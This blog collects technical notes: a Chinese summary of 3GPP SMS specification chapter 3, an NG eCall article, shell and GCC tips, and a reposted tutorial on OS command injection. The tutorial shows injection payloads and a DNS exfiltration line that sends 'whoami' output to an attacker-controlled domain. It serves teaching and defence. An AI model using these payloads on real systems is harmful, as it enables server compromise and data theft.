2021年3月27日 星期六

GPP TS 23.040 -- SMS -- part1(第三章節)

Source https://blog.csdn.net/qq_41209741/article/details/114634362

文章目錄

Introduction

Definitions

3. 服務和服務要素

3.1 Basic services

3.2 Short Message Service elements

3.2.0 Introduction

3.2.1 有效期

3.2.2 服務中心時間戳

3.3.3 協議標識符

3.3.4 More Message to Send

3.3.5 優先和非優先信息的傳遞

3.3.6 Message Waiting

3.2.7 Alert-SC

3.2.7a MT Correlation ID

3.2.9 Status report capabilities

3.3 Unsuccessful short message TPDU transfer SC > MS

3.3.1 Errors occurring during transfer of TPDU to MS

3.3.2 Errors occurring after TPDU arrives at MS

3.4 Unsuccessful short message TPDU transfer MS->SC

3.4.1 Errors occurring during transfer of TPDU to SC

3.4.2 Errors occurring after TPDU arrives at SC

3.5 將補充業務與短消息業務結合使用

3.6 運營商決定限制在短消息業務中的適用性

3.7 多條短消息傳輸

3.8 短信和互聯網電子郵件互通

3.9 短信壓縮

Introduction

短消息服務(SMS)提供了一種向GSM/UMTS/EPS手機發送有限大小消息的方法。短信服務的提供利用了一個服務中心,作為短信息的儲存和轉發中心。因此,GSM/UMTS/EPS-PLMN需要支持服務中心和移動台之間的短消息傳輸。


移動源消息應從MS傳輸至服務中心。這些用戶可能是為其他移動用戶或固定網絡上的用戶指定的。移動端接信息應從服務中心傳輸到移動終端。這些信息可由其他移動用戶(通過移動源短消息)或各種其他來源(如語音、電傳或傳真)輸入服務中心。


Definitions

alert-SC:由GSM/UMTS PLMN提供的服務單元,用於通知先前向特定MS發起了不成功的短消息遞送嘗試的SC,該MS現在被PLMN識別為已恢復操作


status report:SC通知發起MS提交給SME的短消息的結果


Gateway MSC For Short Message Service(SMS-GMSC):MSC的功能,能夠從SC接收短消息,詢問HLR路由信息和SMS信息,並將短消息傳送到VMSC或接收方MS的SGSN


IP-Short-Message-Gateway (IP-SM-GW):負責基於IP的UE和SC之間的協議互通的功能


Loop Prevention (LP):允許SMS應用程序禁止轉發或自動生成可能導致無限循環的消息的信息元素。


Messages Waiting (MW):使PLMN存儲信息(消息等待指示)的服務元素,列出那些嘗試向該PLMN中的MS發送短消息失敗的SCs


Messages Waiting Indication (MWI):要存儲在與MS相關聯的HLR和VLR中的數據,指示在一組SCs中有一個或多個消息等待被傳送到MS(由於不成功的傳送嘗試)


Messages Waiting Data (MWD):MWI(消息等待指示)的一部分,存儲在HLR中。MWD由SMSC(短消息服務中心)的地址列表組成,該地址列表中有等待發送到移動設備的消息。


Home Location Register(HLR):歸屬位置寄存器是在蜂窩網絡中找到的數據庫。它除了存儲基於位置區域的信息外,還存儲與服務和功能相關的訂戶數據。


Mobile Management Entity (MME):為位於指定為MME區域的地理區域中的移動站執行分組交換功能的交換機


Mobile-services Switching Centre (MSC):為位於指定為MSC區域的地理區域中的移動台執行交換功能的交換機


Mobile Station Memory Capacity Exceeded Flag (MCEF):部分MWI存儲在HLR中。


MCEF是一個布爾參數,指示MWD的地址列表是否包含一個或多個條目,因為向MS傳遞短消息的嘗試失敗,並導致MS內存容量超出


Mobile Station Not Reachable Flag (MNRF):部分MWI存儲在VLR、MME和HLR中。MME支持本文件中規定的與MNRF有關的VLR的所有要求。


MNRF是一個布爾參數,指示MWD的地址列表是否包含一個或多個條目,因為向MS發送短消息的嘗試失敗了,原因是訂戶不在。


Mobile station Not-Reachable-for-GPRS (MNRG):部分MWI存儲在SGSN和HLR中


MNRG是一個布爾參數,指示MWD的地址列表是否包含一個或多個條目,因為向MS傳遞短消息的嘗試失敗,原因是用戶缺席


Mobile Station Not Reachable-via-the-MSC-Reason (MNRR-MSC):MWI在HLR中的一部分,當在MSC向MS發送短消息的嘗試失敗並導致用戶缺席時,它存儲MS缺席的原因


Mobile Station Not Reachable-via-the-SGSN-Reason (MNRR-SGSN):MWI在HLR中的一部分,當在MSC向MS發送短消息的嘗試失敗並導致用戶缺席時,它存儲MS缺席的原因


More Messages To Send (MMS):信息元素,提供一個MS接收來自SC的短消息的時候,信息是否還有更多的消息等待從該SC發送到MS


Service Centre (SC):負責在SME和MS之間中繼、存儲和轉發短消息的功能


Short Message Entity (SME):可以發送或接收短消息的實體。


SME可以位於固定網絡、MS或SC中。


SMS STATUS REPORT:短消息傳輸協議數據單元,向接收MS通知由MS先前提交的源於移動的短消息的狀態,即SC是否能夠轉發該消息,或者該消息是否被存儲在SC中以供稍後傳送


SMS COMMAND:短消息傳輸協議數據單元,使MS能夠在SC調用操作


例如,MS可以刪除短消息、取消TP狀態報告請求、查詢短消息的狀態或請求由SC執行的另一功能。


SMS DELIVER:包含用戶數據(短消息)的短消息傳輸協議數據單元,從SC發送到MS


SMS SUBMIT:包含用戶數據(短消息)的短消息傳輸協議數據單元,從MS發送到SC


TPDU: Transfer protocol data unit,傳輸協議數據單元


3. 服務和服務要素

3.1 Basic services

MS狀態改變:從連接態到空閒態,從空閒態到連接態,或者正在Handover的時候,短信傳輸可能會失敗。


還有可能依次接收具有相同的起始地址和標識的兩個短消息,即消息參考號(MO)或SC時間戳(MT)。這種情況可能是由於RP或CP層(例如,在MSC間切換期間)的錯誤造成的,其中它可能是重複的消息,否則它可能是有效的新消息。


因此,接收實體應規定檢查短消息中包含的其他參數,以確定是否要丟棄第二條短消息。在Android中,如果下面6個信息都相同,則判斷為同一條短信,將第二條丟棄:


發端address

MO號碼

count總數

序列號

時間戳

消息內容

(其中count和序列號是針對:用於連接多部分SMS消息的字段)


3.2 Short Message Service elements

3.2.0 Introduction

短信包括8個要素,特別是提交和接收消息:


有效期;

服務中心時間戳;

協議標識符;

More Message to Send;

優先級;

Message-Waiting;

Alert-SC。

MT相關ID。


3.2.1 有效期

TP Validity Period參數值表示短消息有效的時間段,即在向接收者發送之前,SC應保證短消息在SC存儲器中存在多長時間。


3.2.2 服務中心時間戳

服務中心時間戳是一種信息元素,通過它,服務中心將短消息到達服務中心的SM-TL實體的時間通知收件人MS。時間值包含在每個發送給MS的SMS中。


3.3.3 協議標識符

協議標識符是信息元素,SM-TL通過該信息元素表示正在使用的高層協議,或者表示與某種類型的遠程信息處理設備的互通。

協議標識符信息元素使用消息類型中的特定字段:


SMS SUBMIT

SMS SUBMIT-REPORT for RP-ACK

SMS DELIVER DELIVER

SMS-DELIVER-REPORT for RP-ACK

SMS_STATUS_REPORT

SMS COMMAND TP Protocol Identifier (TP PID)


3.3.4 More Message to Send

More Messages to Send是SC通知MS在該SC中有一條或多條消息等待發送給MS的信息元素。More Messages to Send信息元素使用message SMS DELIVER,TP More Messages to Send(TP MMS)中的布爾參數。


3.3.5 優先和非優先信息的傳遞

優先級是由SC或SME提供的信息元素,用於向PLMN指示消息是否為優先級消息。

如果MS被確定為暫時不在,則不應嘗試傳遞非優先級消息。


如果MS未被識別為暫時不存在,則應嘗試傳遞非優先級消息,無論MS是否被識別為沒有可用內存容量。


無論MS是否被識別為暫時不存在或沒有可用內存容量,都應嘗試傳遞優先級消息。


3.3.6 Message Waiting

消息等待是使PLMN能夠提供HLR、SGSN和VLR的服務元素,接收者MS與該HLR、SGSN和VLR相關聯的信息,即在發起SC中有消息等待被遞送到MS。該服務元素僅在先前針對非單個短消息的由於手機暫時不在或MS內存容量超出而導致SM不成功遞送嘗試的情況下使用。


該信息表示消息等待指示(MWI),包括


消息等待數據(MWD)、

GPRS不可到達的移動台(MNRG)、

IP不可到達的UE(UNRI)、

移動台不可到達標誌(MNRF)、

通過MSC不可到達的移動台(MNRR-MSC),

移動不可通過位於HLR中的SGSN原因(MNRR-SGSN)、

UE不可到達原因(UNRR)和移動台存儲容量超出標誌(MCEF)到達;

位於SGSN中的GPRS不可到達移動台(MNRG)和位於VLR中的移動台不可到達標誌(MNRF)。


圖1顯示了一個示例。



圖1 Example of how information on one MS can be put in relation to SC(s)

in order to fulfil the requirement of Alert SC mechanism

MWD應包含一份SCs地址列表(SC Addr),該地址以前曾嘗試過不成功的消息傳遞。為了能夠將警報消息發送給每個嘗試向MS發送非單次SM的SC,HLR應存儲IMSI-Alert以及SC地址的參考。


3.2.7 Alert-SC

Alert-SC是服務元素,它可以由一些GSM/UMTS plmn提供,以通知SC MS:


由於無法訪問MS或超出了MS內存容量,傳送嘗試失敗;以及

PLMN現在認為:

a)已恢復操作(例如已響應尋呼請求);或

b)有新的可用內存(這意味著移動設備是可訪問的)。

SC的重複傳送嘗試可能有兩種類型:


一種重複的傳送嘗試,因為SC已被告知MS處於活動狀態並且可以接收短消息

SC的自主重複交付嘗試。

這兩個選項的應用由SC和網絡的提供商定義。

3.2.7a MT Correlation ID

MT相關ID是僅當接收MS的HPLMN使用SMS路由器或IP-SM-GW時才使用的服務元素。它用於將前向SM操作與先前的信息檢索操作相關聯。


MT相關ID的使用增強了安全性。通過分析在轉發短消息操作中接收到的相關ID,可以容易地從相關信息檢索操作的起源地檢查它,從而導致檢測到“假”和“欺騙”SMS。


在協議層的IMSI IE中使用MT相關ID來代替IMSI。因此,其結構被定義為與該元素完全相同:



圖2 Structure of the MT Correlation

Sender ID:它由9位十進制數字組成,在其使用壽命內應是唯一的。出於安全目的,其值應為隨機分配的數字,而不是順序分配的數字。

3.2.9 Status report capabilities

SMS還向SC提供通知MS先前發送的源於移動的短消息的狀態的能力。消息的狀態可以是:


成功交付給SME;

SC無法將消息轉發給SME。原因可能是永久性或暫時性的錯誤。永久性錯誤可能是,例如有效期過期、SME地址無效。臨時性錯誤可能是,例如SC SME連接中斷,SME暫時不可用。

3.3 Unsuccessful short message TPDU transfer SC > MS

3.3.1 Errors occurring during transfer of TPDU to MS

這些錯誤通常是由於PLMN或MS中的限製或不支持的服務造成的。錯誤指示從SMS GMSC返回給SC,但MS的進一步診斷信息不可用。


3.3.2 Errors occurring after TPDU arrives at MS

SMS-DELIVER_REPORT包含錯誤信息


Error indication Status (Permanent or Temporary) Meaning

Unknown subscriber P The PLMN rejects the short message TPDU because there is not allocated an IMSI or a directory number for the mobile subscriber in the HLR (see 3GPP TS 29.002 [15]).

Teleservice not provisioned P The PLMN rejects the short message TPDU because the recipient MS has no SMS subscription (see 3GPP TS 29.002 [15]).

Call barred T The PLMN rejects the short message TPDU due to barring of the MS (see 3GPP TS 29.002 [15], description of the Barring supplementary service, 3GPP TS 22.004 [3] and 3GPP TS 23.011[7]), description of Call barred due to Unauthorised Message Originator, 3GPP TS 29.002 [15], and description of Operator Determined Barring, 3GPP TS 22.041 [4] and 3GPP TS 23.015 [8]).

Facility not supported T The VPLMN rejects the short message TPDU due to no provision of the SMS in the VPLMN (see 3GPP TS 29.002 [15]).

Absent subscriber T The PLMN rejects the short message TPDU because ①there was no paging response via the SGSN, MSC or both (see 3GPP TS 24.008 [12] & 3GPP TS 29.002 [15]),②the IMSI GPRS or both records are marked detached (see 3GPP TS 29.002 [15]); ③the MS is subject to roaming restrictions (see “Roaming not allowed”, 3GPP TS 29.002 [15]); ④deregistered in the HLR. The HLR does not have an MSC, SGSN or both numbers stored for the target MS, (see 3GPP TS 29.002 [15]); ⑤Unidentified subscriber (see 3GPP TS 29.002 [15]); ⑥MS purged (see 3GPP TS 29.002 [15]) ; ⑦the MS is not registered in the HSS/HLR for IMS; ⑧there was no SIP response received by the IP-SM-GW; ⑨the MS is temporarily unavailable (eg in power saving mode due to eDRX). (The reasons for absence are assigned integer values in table 1a.The appropriate integer value is sent with the absent subscriber error indication as defined in 3GPP TS 29.002 [15])

MS busy for MT SMS T The PLMN rejects the short message TPDU because of congestion encountered at the visited MSC or the SGSN. Possible reasons include any of the following events in progress: ①short message delivery from another SC; ②IMSI or GPRS detach ③Location Update or Inter SGSN Routing Area Update; ④paging; ⑤emergency call; ⑥call setup.

SMS lower layers capabilities not provisioned T The PLMN rejects the short message TPDU due to MS not being able to support the Short Message Service. The short message transfer attempt is rejected either due to information contained in the class mark, or the MSC not being able to establish connection at SAPI = 3 (see 3GPP TS 24.008 [12] and 3GPP TS 29.002 [15]).

Error in MS T The PLMN rejects the short message TPDU due to an error occurring within the MS at reception of a short message, eg protocol error.

Illegal Subscriber P The PLMN rejects the short message TPDU because the MS failed authentication.

Illegal Equipment P The PLMN rejects the short message TPDU because the IMEI of the MS was black listed in the EIR.

System failure T The PLMN rejects the short message TPDU due to network or protocol failure others than those listed above (see 3GPP TS 29.002 [15]).

Memory Capacity Exceeded T The MS rejects the short message since it has no memory capacity available to store the message.

Status:永久或臨時

兩組錯誤指示之間的關係如表1所示。每個錯誤分為“臨時”或“永久”兩類。該分類給出了MS是否可能在合理的時間內變得可實現的指示,並且因此提供了SC要採取的建議操作,即存儲消息以便稍後傳輸,或者丟棄消息。



3.4 Unsuccessful short message TPDU transfer MS->SC

3.4.1 Errors occurring during transfer of TPDU to SC

這些錯誤通常是由於PLMN中的限製或不支持的服務造成的。MSC或SGSN向MS返回錯誤指示,但SC不能提供進一步的診斷信息


3.4.2 Errors occurring after TPDU arrives at SC

SMS-SUBMIT-REPORT包含錯誤信息


3.5 將補充業務與短消息業務結合使用

只有3GPP TS 22.004[3]和3GPP TS 23.011[7]中定義的補充業務的子集可以與短消息業務結合使用。該子集包括以下補充業務:

所有的5個限制服務。


3.6 運營商決定限制在短消息業務中的適用性

網絡特性運營商確定的限制(參見3GPP TS 22.041[4])適用於短消息服務。

如果短消息由於操作員確定的限製而失敗,則會將適當的錯誤原因返回給發端人


3.7 多條短消息傳輸

為了避免對在服務中心等待的每個消息對移動設備進行尋呼、認證等的需要,SC可以向SMS-GMSC指示有更多的消息要發送。當給出該指示時,將調用MAP過程,以便將該指示傳遞給VMSC,並且在SC中等待的所有短消息都被傳輸之前,VMSC不會釋放MS。


3.8 短信和互聯網電子郵件互通

MT SMS:


[<from address><space>]<message>


MO SMS:


[<to address><space>]<message>


The to address or from address may take the form:


user@domain1.domain2


or


User Name <user@domain1.domain2>


3.9 短信壓縮

短消息可以根據3GPP TS 23.042[26]中描述的壓縮算法進行壓縮。

壓縮和解壓可在SME之間或SME和SC之間進行。

壓縮僅適用於TPDU的TP用戶數據部分。壓縮報頭必須在緊接可能存在的任何TP用戶數據報頭字段之後的TP用戶數據字段的第一個八位字節處開始。

————————————————

版权声明:本文为CSDN博主「奄奄不息」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/qq_41209741/article/details/114634362

2021年3月17日 星期三

Android APK

 

>安卓手機可以安裝LTE Discovery來觀察TSU可以安裝LTE Discovery來觀察嗎?

尝试下载了一个 LTE Discovery apk

Adb install XXX.apk

 

然后怎么启动? 能给一个 adb shell start am -n Packagename/ActivityName

的命令吗?ActivityName不知道。

2021年1月28日 星期四

未來汽車緊急傳呼系統(NG eCALL)

Source https://www.ctimes.com.tw/DispArt/tw/%E8%87%AA%E5%8B%95%E7%B7%8A%E6%80%A5%E5%82%B3%E5%91%BC%E7%B3%BB%E7%B5%B1/ETSI/IMS/%E8%BB%8A%E8%BC%89%E9%81%A0%E7%AB%AF%E8%B3%87%E8%A8%8A%E6%9C%8D%E5%8B%99/CEN/190719133326.shtml


在汽車自動緊急傳呼系統(eCall)導入之前,曾經在歐洲層面進行了多年的討論和協調。自2018年3月起,歐盟所有新認證車型都必須配備該系統。雖然eCall只在數量相對較少的車輛中進行了安裝,但它在技術層面已經過時。eCall的繼任者正在等待時機。


在發生嚴重交通事故時,eCall會透過行動電話自動聯絡公共安全應答點(PSAP),車載電子設備確定是否發生嚴重事故,其中安全氣囊是否釋放是事故嚴重程度之典型標誌,也可以使用SOS按鈕手動觸發系統,來報告不同類型緊急狀況或事故是否涉及其他車輛。


現有的eCall安裝基於ETSI和CEN標準,這些標準的制定始於大約15年前。系統使用帶內調變解調器,透過GSM語音通道以音訊傳輸(使用類似於傳真機的鳴叫音)eCall最小資料集(MSD)到112緊急號碼。選擇這種技術上已經過時的解決方案,是因為當時似乎只有GSM能夠提供必要的國際覆蓋。規劃階段這很合乎情理,但當下手機技術發展已經讓業界對此產生質疑。


德國保險業估計,到2035年才能達到近乎完全的eCall市場覆蓋率。但到那時,一些歐洲國家將不再提供GSM網路,因為LTE和5G迫切需要這些頻譜。目前,已有超過95%歐洲人口可以使用LTE網路,所以出現的問題是:這會對eCall產生哪些影響?網路營運商不可能僅僅為了提供這種eCall服務而維持GSM基礎設施。解決方案可能是一種混合模式:基於GSM和當代新興系統的eCall將共存於車載遠端資訊服務(telematics)系統中,以便在汽車所在之處都能保持功能暢通。


從eCall到NG eCall

eCall的繼任者已經被指定為是下一世代eCall(NG eCall)。在基於IP的LTE系統中,NG eCall自然地將不使用調變音訊訊號進行資料傳輸。但它仍將使用語音傳輸,因為eCall不僅只傳輸資料,還可建立與事故車輛的語音連結。LTE IP多媒體子系統(IMS)可以支援服務。IMS是用於陸地和行動電話網路中基於IP多媒體應用的傳輸技術,其主要目的之一是啟用電話,在LTE中被稱為語音LTE(VoLTE)。


IMS並不是新技術,它始於21世紀初,基於ETSI(TISPAN)和3GPP(IMS)開發的舊行業標準。隨著LTE導入,IMS框架得以建立,可用於語音傳輸、視訊電話、短信服務等等。IMS也是可用于NG eCall的完美基礎技術,並且經過適當調整。 3GPP的Release 14規定了一個網路支援標識,可告知網路是否支援NG eCall或者是否必須使用傳統eCall。這確保了eCall和NG eCall可以共存(圖1)。



圖1 : 在LTE網路中,網路支援指示能夠確定是否支援NG eCall,或是否需要傳統的eCall。
圖1 : 在LTE網路中,網路支援指示能夠確定是否支援NG eCall,或是否需要傳統的eCall。

NG eCall如何運作?

如果連接到LTE網路的車輛發生事故,遠端資訊服務系統將評估網路對於NG eCall的支援標識。如果支援NG eCall,則車輛可使用會話發起協定(SIP)和會話描述協定(SDP)透過IMS發出緊急傳呼。如果不支援NG eCall,則需要向GSM網路進行切換(電路交換機回退),以便透過GSM帶內調變解調器進行傳統eCall。圖2顯示了如何建立連接。



圖2 : 在遠端資訊服務系統,網路和緊急傳呼中心之間建立NG eCall連接的詳細資訊。
圖2 : 在遠端資訊服務系統,網路和緊急傳呼中心之間建立NG eCall連接的詳細資訊。

傳呼到PSAP路徑由發送SIP中的資源名稱控制,以下統一資源名稱已經定義:


urn: service: sos.ecall.manual:


manual eCall


urn: service: sos.ecall.automatic:


automatic eCall


urn: service: test.sos.ecall:


test call


為了不丟失任何時間,MSD在建立傳呼時被發送到PSAP。該資料集目前限於140 bytes。但是在LTE網路中可以容易地增加資料量。


圖3顯示了eCall和NG eCall之比較。



圖3 : NG eCall(右)可以使用快速IP網路的功能來傳輸大量資料。
圖3 : NG eCall(右)可以使用快速IP網路的功能來傳輸大量資料。

NG eCall優勢

由於NG eCall建立了快速資料連接,因此系統可以傳輸MSD以外的資料,這些資料在緊急狀況下可能非常有用,例如駕駛員健康資料,可以透過藍牙連接到車輛的智慧手錶提供。如果連接了dashcam,則可以建立視訊連結,以便傳呼中心能夠有可視資訊。


在另一個層面,可以想像緊急傳呼中心能夠向車輛發送遠端指令,例如打開車門或關閉點火裝置。儘管這些特徵的資料存在隱私和IT安全方面的問題,但事實是NG eCall相較技術上已經過時的傳統eCal具有更多潛在功能。


這也是eCall服務可能會變得越來越兩極化的一個原因,一種是使用112緊急號碼的公共系統,另一種是傳呼私人緊急傳呼中心的製造商專有系統。製造商需要安裝標準的eCall,但也可以實施自己的收費服務。如果他們這樣做,仍然必須讓車輛駕駛員選擇想要使用的系統,並確保如果專有系統不可用,車輛將自動切換到公共eCall。


為何當下開始使用NG eCall?

即使歐盟委員會尚未就NG eCall做出任何具有約束力的指令,但可以安全地假設它會這樣做。一旦足夠數量的網路運營商為NG eCall配置其LTE IMS,汽車行業就可以將其與適當設計的遠端資訊服務系統一起使用,包括私人緊急傳呼服務。它不需要,也絕對不會等待立法去強制解決問題。


即便已經在行動網路中實現NG eCall功能,在實際網路中測試遠端資訊服務系統也將困難且耗時,在現場測試中永遠無法實現資料再現。在IMS上也很難獲得測試結果,因為它是用戶無法訪問的網路基礎設施一部分。但是,客制化設計的測試和量測系統可以輕鬆、可靠地提供必要的資料。


T&M解決方案

Rohde&Schwarz長期以來一直在為基於GSM的eCall提供全面測試解決方案(圖4)。該系統的設計非常通用,甚至可用於俄羅斯緊急傳呼系統ERA-GLONASS(現在也是NG eCall)。為了處理NG eCall,R&S CMW-KA096已被添加到PC測試軟體套件中。作為行動網路模擬器的R&SRCMW500寬頻無線電通訊測試儀和R&SRSMBV100AGNSS模擬器都已具備所有必要功能。


@圖說;(圖4)可以使用此設置測試所有車輛緊急傳呼系統的接受程度。


R&SRCMW-KA096軟體可模擬支援NG eCall的緊急傳呼中心,並遠端控制可複製LTE行動網路和必要IMS基礎設施的R&SRCMW500。


透過由控制電腦和R&SRCMW500組成的測試裝置,可以驗證板載NG eCall電子設備(IVS)是否可以觸發NG eCall,選擇正確的網路,傳輸正確的MSD資料以及與之建立語音通訊,並透過緊急傳呼中心撥打LTE語音電話。MSD中的資料以RAW格式和解碼格式提供。如果將帶有GNSS選件的R&SRSMBV100A向量訊號發生器整合到測試設置,還可以檢查MSD條目(entry)的GNSS位置精度。


測試程式可以輕鬆擴展到多單元方案。這些場景可用於互用性測試,以模擬車輛進入不支援NG eCall之區域。在這種狀況下,有必要測試遠端資訊服務系統是否能夠使用傳統的eCall備份系統正確地發出緊急傳呼。


(本文作者Christian Hof為Rohde&Schwarz公司移動無線電測試儀產品經理)


2021年1月2日 星期六

Profiling

============================================================================
gz vs bzip2
============================================================================
root@mdm9607:/# time bzip2 -1 3.qmdl -c > /tmp/3.qmdl.bz2  >>>  real 0m 11.10s
root@mdm9607:/# time gzip       3.qmdl -c > /tmp/3.qmdl.gz    >>>  real 0m 18.54s

/tmp/3.qmdl.bz2 4,184,922
/tmp/3.qmdl.gz 4,493,289

2020年12月27日 星期日

Handbook - GCC

Q: How to get assembler output from C/C++ source?
A:  REF https://stackoverflow.com/questions/137038/how-do-you-get-assembler-output-from-c-c-source-in-gcc
             gcc -S -o my_asm_output.s helloworld.c
             objdump -S --disassemble helloworld > helloworld.dump
             >>> Doesn't apply for clang-based compiler.


2020年12月12日 星期六

Linux scripts

=========================================================================
= Real-time log inspection and event handling. (Jason Chen, Yet Verified)
=========================================================================
#!/bin/sh

file=/tmp/qq
keyword="jason"
previous_line=0
while true; do
        if [ -f ${file} ]; then
                line=`wc -l ${file} | cut -f1 -d' '`
                if [ ${line} -ne ${previous_line} ]; then
                        matched=`tail -n 1 ${file} | grep ${keyword}`
                        if [ "${matched}" != "" ]; then
                                echo "action here"
                                previous_line=${line}
                        fi
                fi
        fi
        sleep 1
done 


=========================================================================
= Determine whether a process is running or not and make use it to make a conditional shell script?=========================================================================
REF https://askubuntu.com/questions/157779/how-to-determine-whether-a-process-is-running-or-not-and-make-use-it-to-make-a-c
#!/bin/bash

# Check if gedit is running
# -x flag only match processes whose name (or command line if -f is
# specified) exactly match the pattern. 

if pgrep -x "gedit" > /dev/null
then
    echo "Running"
else
    echo "Stopped"
fi

=========================================================================
= How to get the first line of a file in a bash script?=========================================================================
line=$(head -n 1 filename)

=========================================================================
= $var vs "$var"
=========================================================================
$ f="fafafda
> adffd
> adfadf
> adfafd
> afd"

$ echo $f
fafafda adffd adfadf adfafd afd

$ echo "$f"
fafafda
adffd
adfadf
adfafd
afd
=========================================================================
= Single line conditional statements
=========================================================================
if [ ! -f ./some_file ]; then
print "The file was not copied"
exit 1
fi

is equivalent to
[ ! -f ./some_file ] && print "The file was not copied." && exit 1


=========================================================================
= Tricky points
=========================================================================

------------------- Error: [: missing `]' ----------------------------------------------
#!/bin/sh mkubifs_args="-m 4096 -e 253952 -c 2146 -F" ubinize_args="-m 4096 -p 256KiB -s 4096" #Error: [: missing `]' if [ -z "$mkubifs_args"] || [ -z "$ubinize_args" ]; then #if [ -z "$mkubifs_args" ] || [ -z "$ubinize_args" ]; then echo "MKUBIFS_ARGS and UBINIZE_ARGS have to be set, see http://www.linux-mtd.infradead.org/faq/ubifs.html for details" fi

2020年4月23日 星期四

OS Command Injection, to avoid using illegal parameters / characters

Source https://portswigger.net/web-security/os-command-injection

In this section, we'll explain what OS command injection is, describe how vulnerabilities can be detected and exploited, spell out some useful commands and techniques for different operating systems, and summarize how to prevent OS command injection.

What is OS command injection?

OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. Very often, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, exploiting trust relationships to pivot the attack to other systems within the organization.
OS command injection

Executing arbitrary commands

Consider a shopping application that lets the user view whether an item is in stock in a particular store. This information is accessed via a URL like:
https://insecure-website.com/stockStatus?productID=381&storeID=29
To provide the stock information, the application must query various legacy systems. For historical reasons, the functionality is implemented by calling out to a shell command with the product and store IDs as arguments:
stockreport.pl 381 29
This command outputs the stock status for the specified item, which is returned to the user.
Since the application implements no defenses against OS command injection, an attacker can submit the following input to execute an arbitrary command:
& echo aiwefwlguh &
If this input is submitted in the productID parameter, then the command executed by the application is:
stockreport.pl & echo aiwefwlguh & 29
The echo command simply causes the supplied string to be echoed in the output, and is a useful way to test for some types of OS command injection. The & character is a shell command separator, and so what gets executed is actually three separate commands one after another. As a result, the output returned to the user is:
Error - productID was not provided
aiwefwlguh
29: command not found
The three lines of output demonstrate that:
  • The original stockreport.pl command was executed without its expected arguments, and so returned an error message.
  • The injected echo command was executed, and the supplied string was echoed in the output.
  • The original argument 29 was executed as a command, which caused an error.
Placing the additional command separator & after the injected command is generally useful because it separates the injected command from whatever follows the injection point. This reduces the likelihood that what follows will prevent the injected command from executing.

Useful commands

When you have identified an OS command injection vulnerability, it is generally useful to execute some initial commands to obtain information about the system that you have compromised. Below is a summary of some commands that are useful on Linux and Windows platforms:
Purpose of commandLinuxWindows
Name of current userwhoamiwhoami
Operating systemuname -aver
Network configurationifconfigipconfig /all
Network connectionsnetstat -annetstat -an
Running processesps -eftasklist

Blind OS command injection vulnerabilities

Many instances of OS command injection are blind vulnerabilities. This means that the application does not return the output from the command within its HTTP response. Blind vulnerabilities can still be exploited, but different techniques are required.
Consider a web site that lets users submit feedback about the site. The user enters their email address and feedback message. The server-side application then generates an email to a site administrator containing the feedback. To do this, it calls out to the mail program with the submitted details. For example:
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
The output from the mail command (if any) is not returned in the application's responses, and so using the echo payload would not be effective. In this situation, you can use a variety of other techniques to detect and exploit a vulnerability.

Detecting blind OS command injection using time delays

You can use an injected command that will trigger a time delay, allowing you to confirm that the command was executed based on the time that the application takes to respond. The ping command is an effective way to do this, as it lets you specify the number of ICMP packets to send, and therefore the time taken for the command to run:
& ping -c 10 127.0.0.1 &
This command will cause the application to ping its loopback network adapter for 10 seconds.

Exploiting blind OS command injection by redirecting output

You can redirect the output from the injected command into a file within the web root that you can then retrieve using your browser. For example, if the application serves static resources from the filesystem location /var/www/static, then you can submit the following input:
& whoami > /var/www/static/whoami.txt &
The > character sends the output from the whoami command to the specified file. You can then use your browser to fetch https://vulnerable-website.com/whoami.txt to retrieve the file, and view the output from the injected command.

Exploiting blind OS command injection using out-of-band (OAST) techniques

You can use an injected command that will trigger an out-of-band network interaction with a system that you control, using OAST techniques. For example:
& nslookup kgji2ohoyw.web-attacker.com &
This payload uses the nslookup command to cause a DNS lookup for the specified domain. The attacker can monitor for the specified lookup occurring, and thereby detect that the command was successfully injected.
The out-of-band channel also provides an easy way to exfiltrate the output from injected commands:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
This will cause a DNS lookup to the attacker's domain containing the result of the whoami command:
wwwuser.kgji2ohoyw.web-attacker.com

Ways of injecting OS commands

A variety of shell metacharacters can be used to perform OS command injection attacks.
A number of characters function as command separators, allowing commands to be chained together. The following command separators work on both Windows and Unix-based systems:
  • &
  • &&
  • |
  • ||
The following command separators work only on Unix-based systems:
  • ;
  • Newline (0x0a or \n)
On Unix-based systems, you can also use backticks or the dollar character to perform inline execution of an injected command within the original command:
  • ` injected command `
  • $( injected command )
Note that the different shell metacharacters have subtly different behaviors that might affect whether they work in certain situations, and whether they allow in-band retrieval of command output or are useful only for blind exploitation.
Sometimes, the input that you control appears within quotation marks in the original command. In this situation, you need to terminate the quoted context (using " or ') before using suitable shell metacharacters to inject a new command.

How to prevent OS command injection attacks

By far the most effective way to prevent OS command injection vulnerabilities is to never call out to OS commands from application-layer code. In virtually every case, there are alternate ways of implementing the required functionality using safer platform APIs.
If it is considered unavoidable to call out to OS commands with user-supplied input, then strong input validation must be performed. Some examples of effective validation include:
  • Validating against a whitelist of permitted values.
  • Validating that the input is a number.
  • Validating that the input contains only alphanumeric characters, no other syntax or whitespace.
Never attempt to sanitize input by escaping shell metacharacters. In practice, this is just too error-prone and vulnerable to being bypassed by a skilled attacker.